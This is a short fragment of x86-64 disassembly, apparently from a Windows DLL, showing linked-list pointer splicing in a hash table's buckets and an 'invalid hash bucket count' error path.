cmp qword [rdi + r11*8], r10
jne 0x180006a44
mov r9, qword [rax + 8]
mov qword [r9], rcx
mov r8, qword [rcx + 8]
mov qword [r8], r10
mov rdx, qword [r10 + 8]
mov qword [rdx], rax
mov qword [r10 + 8], r8
mov qword [rcx + 8], r9
mov qword [rax + 8], rdx
mov qword [rdi + r11*8], rax
mov rax, rcx
cmp rcx, rbx
je 0x180006ab3
mov r9, qword [0x180039850]
jmp 0x1800069bc
mov r10, qword [r10]
mov r9, qword [rax + 8]
mov qword [r9], rcx
mov r8, qword [rcx + 8]
mov qword [r8], r10
mov rdx, qword [r10 + 8]
mov qword [rdx], rax
mov qword [r10 + 8], r8
mov qword [rcx + 8], r9
mov qword [rax + 8], rdx
jmp 0x180006a79
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
lea rcx, str.invalid_hash_bucket_count
call fcn.1800231f4
int3